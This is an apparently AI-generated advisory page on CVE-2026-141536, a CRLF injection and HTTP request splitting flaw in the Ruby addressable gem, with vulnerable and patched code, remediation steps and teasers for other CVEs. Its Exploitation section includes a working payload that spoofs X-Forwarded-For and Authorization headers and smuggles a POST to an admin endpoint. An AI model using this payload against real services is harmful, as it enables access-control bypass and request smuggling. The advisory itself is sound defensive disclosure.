CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-141536

CVE-2026-141536: HTTP Request Splitting and CRLF Injection in Ruby Addressable Gem

Amit Schendel
Amit Schendel
Senior Security Researcher

Dec 2, 2026·9 min read·4 visits

Executive Summary (TL;DR)

Addressable::URI#request_uri in versions >= 2.1.2 and < 2.10.0 fails to percent-encode control characters (0x00-0x20, 0x7F), allowing CRLF injection and HTTP request splitting in HTTP clients that interpolate the output directly into raw HTTP request lines.

A CRLF injection and HTTP request splitting vulnerability exists in the Ruby addressable gem from version 2.1.2 prior to 2.10.0. The Addressable::URI#request_uri method returns stored control characters and spaces without percent-encoding them. When an HTTP client writes the output of #request_uri directly into an HTTP request line without additional validation or normalization, an attacker supplying an untrusted URI can terminate the request line prematurely, inject arbitrary HTTP headers, or initiate a secondary HTTP request over a keep-alive connection.

Vulnerability Overview

The addressable Ruby gem is a widely deployed replacement for the standard library URI implementation in the Ruby ecosystem. It provides flexible URI parsing, template expansion, and Internationalized Resource Identifier (IRI) support for web frameworks, API clients, and custom HTTP libraries. Because standard Ruby URI imposes strict RFC validation during parsing, many applications rely on Addressable::URI to handle non-standard or loosely formatted URIs collected from external inputs.

A crucial utility method provided by this library is Addressable::URI#request_uri. This method extracts and concatenates the URI path and query string to form the <request-target> component required by the HTTP request line specification. From version 2.1.2 (introduced in commit 6c052b878555ed77f7629368c1924ea1ffac1d3c) through version 2.9.2, #request_uri returned the underlying path and query attributes exactly as stored in memory without percent-encoding ASCII control characters or spaces.

This flaw is classified under CWE-93 (Improper Neutralization of CRLF Sequences) and CWE-113 (Improper Neutralization of CRLF Sequences in HTTP Headers). Unlike the standard library, Addressable::URI.parse and the component attribute setters (path= and query=) accept raw control characters, including carriage returns (\r, 0x0D), line feeds (\n, 0x0A), and spaces (0x20).

When a downstream HTTP client writes the return value of uri.request_uri directly into a socket to construct an HTTP/1.1 request line without performing explicit normalization (uri.normalize.request_uri) or line validation, an attacker who controls the URI input can inject arbitrary CRLF sequences. This enables the premature termination of the HTTP request line, allowing the injection of arbitrary request headers or the smuggling of an entire secondary HTTP request over persistent TCP connections.

Root Cause Analysis

According to RFC 9112 Section 3 (HTTP/1.1 Message Syntax) and RFC 3986 (Uniform Resource Identifier Generic Syntax), an HTTP request line is structured as <method> SP <request-target> SP HTTP/<version> CRLF. Within this grammar, the space character (0x20) acts as the field delimiter separating the HTTP method, the request target, and the protocol version, while the CRLF sequence (0x0D 0x0A) acts as the line terminator separating the request line from subsequent HTTP header fields.

The root cause of CVE-2026-141536 lies in a mismatch between the permissive parsing model of Addressable::URI and the strict syntactic invariants expected of the #request_uri output method. When Addressable::URI.parse processes an input string, or when a developer modifies an instance via uri.path= or uri.query=, the library stores the raw string bytes directly in the object's instance variables without sanitizing control characters. Percent-encoding of unsafe bytes was historically deferred exclusively to the #normalize method.

Because #request_uri exists specifically to produce a string suitable for direct insertion into an HTTP request line, returning unencoded spaces or control characters violates the protocol framing contract. Any space character inside #request_uri shifts the parser's state prematurely from the <request-target> token to the HTTP/<version> token. Any \r or \n character terminates the request line altogether, causing the receiving HTTP server to interpret subsequent bytes in the URI query or path as HTTP headers.

Furthermore, if the injected string contains a double CRLF sequence (\r\n\r\n), the HTTP server interprets this as the end of the headers for the first request. On a connection utilizing HTTP/1.1 keep-alive (which is enabled by default in HTTP/1.1), any text following the double CRLF is processed as the beginning of a distinct, second HTTP request on the same socket.

Code Analysis

In versions of addressable prior to 2.10.0, the implementation of Addressable::URI#request_uri inside lib/addressable/uri.rb performed simple string concatenation of the path and query properties after verifying that the URI scheme was HTTP or HTTPS (or relative):

# Vulnerable implementation in lib/addressable/uri.rb (< 2.10.0)
def request_uri
  return nil if self.absolute? && self.scheme !~ /^https?$/i
  return (
    (!self.path.empty? ? self.path : SLASH) +
    (self.query ? "?#{self.query}" : EMPTY_STR)
  )
end

As shown above, no character inspection or encoding occurred during the construction of the return string. If self.path or self.query contained bytes in the ASCII control range (0x00 through 0x1F), a space (0x20), or the DELETE control character (0x7F), those raw bytes were returned verbatim to the caller.

The vulnerability was patched in commit 1a46f03d6e33c19399e947b13ee5aab5c3a7c586 by defining a regular expression constant, REQUEST_TARGET_UNSAFE, and percent-encoding any matching byte sequence before returning the target string:

# Patched implementation in lib/addressable/uri.rb (2.10.0)
REQUEST_TARGET_UNSAFE = /[\x00-\x20\x7F]/n
private_constant :REQUEST_TARGET_UNSAFE
 
def request_uri
  return nil if self.absolute? && self.scheme !~ /^https?$/i
  target = (
    (!self.path.empty? ? self.path : SLASH) +
    (self.query ? "?#{self.query}" : EMPTY_STR)
  )
  # Convert to binary (ASCII-8BIT) to inspect raw byte values safely
  bytes = target.b
  return target if bytes !~ REQUEST_TARGET_UNSAFE
  
  # Percent-encode only control characters (0x00-0x1F, 0x7F) and space (0x20)
  bytes.gsub(REQUEST_TARGET_UNSAFE) do |character|
    format("%%%02X", character.ord)
  end.force_encoding(target.encoding)
end

A notable engineering decision in this patch is its surgical scope. Rather than invoking full RFC 3986 normalization inside #request_uri, the patch restricts encoding strictly to /[\x00-\x20\x7F]/n. Non-ASCII UTF-8 bytes, invalid UTF-8 byte sequences (such as \xFF), and unencoded delimiters like {, }, |, ^, ", and brackets in query parameters (?ids[]=1) are deliberately left untouched.

> [!NOTE] > Preserving non-control characters ensures backwards compatibility with systems like Amazon S3 (which map raw request paths to object keys without decoding) and cryptographic schemes such as HTTP Message Signatures, where altering non-control characters in the path or query would invalidate precomputed signatures. By operating on target.b (binary encoding) and restoring target.encoding via force_encoding, the fix also safely handles arbitrary binary strings without raising Encoding::CompatibilityError or corrupting multi-byte sequences.

Exploitation

Exploiting CVE-2026-141536 requires two conditions: an application must construct an Addressable::URI instance using untrusted user input, and the underlying HTTP client must write uri.request_uri directly to the network socket without validating or re-encoding the request target. Mainstream Ruby HTTP libraries exhibit varying susceptibility to this flaw based on their internal architecture.

Ruby's standard library Net::HTTP is not vulnerable because it enforces an explicit regular expression check on the request target and raises ArgumentError: A Request-Line must not contain CR or LF prior to writing to the socket. Similarly, the http gem (http.rb) version 5.x passes URIs through its own normalizer before invoking #request_uri, while version 6.x no longer calls #request_uri. Consequently, exploitation primarily targets custom socket-based HTTP clients, lightweight proxy wrappers, or specialized asynchronous HTTP handlers that format raw protocol frames directly.

Consider a custom HTTP client implementation that writes a request over a persistent TCP socket:

require "socket"
require "addressable/uri"
 
def send_get_request(socket, raw_url)
  uri = Addressable::URI.parse(raw_url)
  request = "GET #{uri.request_uri} HTTP/1.1\r\n" \
            "Host: #{uri.host}\r\n" \
            "Connection: keep-alive\r\n\r\n"
  socket.write(request)
end

An attacker who controls the raw_url parameter (or a path/query parameter merged into the URI object) can supply a payload containing URL-decoded or raw CRLF sequences:

payload = "http://internal.example.com/api/v1/status?filter=all HTTP/1.1\r\n" \
          "Host: internal.example.com\r\n" \
          "X-Forwarded-For: 127.0.0.1\r\n" \
          "Authorization: Bearer attacker_token\r\n\r\n" \
          "POST /api/v1/admin/grant HTTP/1.1\r\n" \
          "Host: internal.example.com\r\n" \
          "Content-Length: 0\r\n" \
          "X-Ignore: "

When send_get_request executes with an unpatched version of addressable (< 2.10.0), the raw wire data transmitted over the socket splits into two distinct HTTP requests:

GET /api/v1/status?filter=all HTTP/1.1
Host: internal.example.com
X-Forwarded-For: 127.0.0.1
Authorization: Bearer attacker_token
 
POST /api/v1/admin/grant HTTP/1.1
Host: internal.example.com
Content-Length: 0
X-Ignore:  HTTP/1.1
Host: internal.example.com
Connection: keep-alive
 

In this scenario, the attacker successfully terminates the initial GET request early, injects arbitrary headers (X-Forwarded-For and Authorization), and initiates a second, unauthorized POST request to /api/v1/admin/grant over the same TCP connection while swallowing the original trailing HTTP/1.1 version indicator inside the X-Ignore header of the second request.

Impact Assessment

CVE-2026-141536 carries a CVSS v3.1 base score of 3.7 (Low) with the vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N. The Attack Vector is Network (AV:N), requiring no privileges (PR:N) or user interaction (UI:N). However, the Attack Complexity is rated High (AC:H) because exploitation depends on the presence of a downstream HTTP client that omits request-line validation and directly interpolates #request_uri into raw HTTP messages.

The primary security impact is to Integrity (I:L). In vulnerable configurations, an attacker can manipulate the semantics of outgoing HTTP requests originating from the affected service. By injecting a space followed by an HTTP version string and a CRLF sequence, the attacker can append or overwrite security-critical HTTP headers such as Host, Authorization, Cookie, or X-Forwarded-For.

If the HTTP client places default headers before the injected payload isn't possible (since the request line always precedes all headers), the attacker's injected headers will appear first in the HTTP header block. Depending on how the receiving upstream server resolves duplicate headers (first-wins vs. last-wins), the attacker can override authentic client headers, bypass IP-based access controls, or spoof authentication tokens.

Furthermore, when keep-alive connections or reverse proxies are involved, full HTTP request splitting enables Server-Side Request Forgery (SSRF) escalation and response queue poisoning. By smuggling a second request onto a persistent connection pool, the attacker can cause the upstream server to generate two HTTP responses for what the client believes is a single request, potentially desynchronizing the connection state and returning sensitive response data intended for one request to another caller.

Remediation

The recommended remediation for CVE-2026-141536 is to upgrade the addressable gem to version 2.10.0 or later. Version 2.10.0 modifies Addressable::URI#request_uri to automatically percent-encode all ASCII control characters (0x00-0x1F, 0x7F) and spaces (0x20), preventing premature request line termination while leaving all other characters unmodified.

To update the dependency in a Ruby project managed by Bundler, update the version constraint in the Gemfile and execute the update command:

# Gemfile
gem "addressable", ">= 2.10.0"
bundle update addressable

For environments where an immediate gem upgrade cannot be deployed, developers can implement two effective workarounds at the application layer. First, chaining #normalize prior to calling #request_uri neutralizes the vulnerability because Addressable::URI#normalize already percent-encodes control characters and spaces in earlier versions:

# Workaround 1: Normalize the URI before extracting request_uri
safe_target = uri.normalize.request_uri

Second, if full URI normalization cannot be used due to strict path signature requirements or legacy server routing behavior, inspect the output of #request_uri and reject any target containing control characters or spaces before passing it to an HTTP client:

# Workaround 2: Explicit pre-flight validation against control characters and spaces
target = uri.request_uri
if target.b =~ /[\x00-\x20\x7F]/n
  raise ArgumentError, "Invalid HTTP request target containing control characters or spaces"
end

Official Patches

sporkmonger (GitHub Advisory)Official GitHub Security Advisory for GHSA-qg8x-qm93-fw27 / CVE-2026-141536
sporkmonger (GitHub Commit)Git commit patching Addressable::URI#request_uri
sporkmonger (GitHub Release)Addressable 2.10.0 release containing the fix

Fix Analysis (1)

Technical Appendix

CVSS Score
3.7/ 10
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

Affected Systems

Ruby addressable gem (>= 2.1.2, < 2.10.0)

Affected Versions Detail

Product
Affected Versions
Fixed Version
addressable
sporkmonger
>= 2.1.2, < 2.10.02.10.0
AttributeDetail
Vulnerability IDCVE-2026-141536 (GHSA-qg8x-qm93-fw27)
Weakness TypeCWE-93 / CWE-113 (CRLF Injection / HTTP Request Splitting)
CVSS v3.1 Score3.7 Low (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N)
Affected ComponentAddressable::URI#request_uri in addressable gem (>= 2.1.2, < 2.10.0)
Patched Versionaddressable 2.10.0
Attack VectorNetwork (Untrusted URI containing control characters or spaces)
Security ImpactHTTP Request Line Termination, Arbitrary Header Injection, Request Smuggling
CISA KEV StatusNot Listed

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
CWE-113
Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')

The software receives data from an upstream component or user input and includes it in HTTP headers or request lines without sanitizing carriage return (CR) and line feed (LF) characters, allowing attackers to split the HTTP protocol structure.

Vulnerability Timeline

Fix committed to the sporkmonger/addressable repository (1a46f03d6e33c19399e947b13ee5aab5c3a7c586)
2026-11-22
CVE-2026-141536 reserved and GitHub Security Advisory GHSA-qg8x-qm93-fw27 published
2026-12-01
Addressable version 2.10.0 released and NVD record published
2026-12-01

References & Sources

  • [1]GitHub Security Advisory GHSA-qg8x-qm93-fw27
  • [2]Patch Commit 1a46f03d6e33c19399e947b13ee5aab5c3a7c586
  • [3]Addressable 2.10.0 Release Tag
  • [4]NVD Vulnerability Detail: CVE-2026-141536
  • [5]CVE.org Record: CVE-2026-141536
  • [6]CVEProject cvelistV5 JSON Record
  • [7]GitHub Advisory Database OSV Record

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•15 minutes ago•CVE-2026-140248
7.2

CVE-2026-140248: Symlink Target Path Traversal and Arbitrary File Access in node-tar

CVE-2026-140248 is a High-severity path traversal and symbolic link resolution vulnerability (CWE-59) in the npm package tar (node-tar) affecting versions 7.5.22 through 7.5.24. When extracting archives under default security configurations (preservePaths: false), node-tar validates symbolic link targets using purely lexical path normalization via path.posix functions without accounting for intermediate symbolic link resolution on the host filesystem. By crafting an archive containing chained symbolic links, paths ending in trailing '/.' segments, or POSIX directory names containing backslashes, an attacker can plant a symbolic link inside the extraction directory that resolves to arbitrary locations outside the destination root. Downstream processes reading or writing through the extracted symlink can consequently disclose or overwrite arbitrary files on the host system.

Alon Barad
Alon Barad
1 views•14 min read
•about 2 hours ago•CVE-2026-141530
3.1

CVE-2026-141530: Domain Spoofing via Missing Bidirectional Validation in Ruby Addressable Pure IDNA Implementation

CVE-2026-141530 is a user interface misrepresentation vulnerability in the pure-Ruby Internationalized Domain Names in Applications (IDNA) implementation of the Addressable gem (versions 2.0.0 through 2.9.2). The library omits enforcement of the RFC 3454 Section 6 bidirectional rule when converting between Punycode A-labels and Unicode U-labels. Consequently, calling Addressable::IDNA.to_unicode or Addressable::URI#display_uri decodes malformed Punycode labels containing mixed directional categories and trailing digits. When rendered in a standard left-to-right display context, the Unicode Bidirectional Algorithm visually reorders digits across domain label separators, enabling an attacker controlling a complementary domain to spoof a target hostname.

Alon Barad
Alon Barad
4 views•10 min read
•about 3 hours ago•CVE-2026-123746
2.3

CVE-2026-123746: Authentication Bypass in Symfony Security HTTP Programmatic Logins

An authentication bypass vulnerability in the Symfony Security HTTP component (symfony/security-http) causes programmatic login operations to skip the checkPostAuth() method of configured user checkers. Because AuthenticatorManager::authenticateUser() fails to dispatch the security.authentication.success event, custom post-authentication restrictions—such as checks for expired or locked accounts—are bypassed when users authenticate via programmatic flows like password resets or email verification callbacks.

Alon Barad
Alon Barad
3 views•10 min read
•about 4 hours ago•CVE-2026-140015
7.5

CVE-2026-140015: Unbounded Memory Exhaustion in Ruby websocket-driver HyBi Protocol Handler

CVE-2026-140015 is a high-severity Denial of Service (DoS) vulnerability affecting the Ruby gem websocket-driver in versions prior to 0.9.1. The flaw resides in the HyBi protocol parser (lib/websocket/driver/hybi.rb), which fails to stop buffering incoming TCP stream data after receiving a WebSocket close control frame. Because TCP supports half-open connections, an unauthenticated remote attacker can transmit a close frame to transition the state machine into a non-consuming shutdown stage, and subsequently stream arbitrary data over the open socket to exhaust server heap memory and crash the host Ruby process.

Alon Barad
Alon Barad
5 views•10 min read
•about 5 hours ago•CVE-2026-140252
7.1

CVE-2026-140252: Denial of Service via Reference Count Underflow in node-tar UnpackSync

A high-severity denial-of-service vulnerability exists in node-tar versions 7.5.22 prior to 8.0.0 within the synchronous stream extraction implementation (UnpackSync). Due to an asymmetrical reference-counting design between the asynchronous base class Unpack and its synchronous subclass UnpackSync, handling any non-fatal entry error or skipped entry causes the internal pending operation counter to decrement below zero. Because the stream termination logic strictly checks for a counter value equal to zero, the extraction stream enters an unrecoverable state where lifecycle completion events (prefinish, finish, end) are never emitted, permanently blocking downstream stream consumers.

Alon Barad
Alon Barad
4 views•11 min read
•about 6 hours ago•CVE-2026-140014
6.5

CVE-2026-140014: AES-256-GCM Nonce Reuse Across Forked Processes in Rust cookie-rs PrivateJar

CVE-2026-140014 (also tracked as GHSA-8wcq-xq25-7fhm and RUSTSEC-2026-0594) is a cryptographic weakness in the Rust cookie library (cookie-rs). Affected versions use userspace thread-local pseudo-random number generators (rand::thread_rng() or rand::rng()) to generate 96-bit nonces for AES-256-GCM encrypted cookies in PrivateJar. Because these generators buffer entropy in userspace memory, invoking a Unix fork() system call without exec() clones the internal RNG buffer into child processes. When sibling or parent-child processes subsequently seal private cookies on the same thread using a shared key, they emit identical nonces. This nonce reuse under AES-GCM compromises ciphertext confidentiality via keystream XOR recovery and enables arbitrary cookie forgery via polynomial GHASH authentication key recovery.

Alon Barad
Alon Barad
4 views•12 min read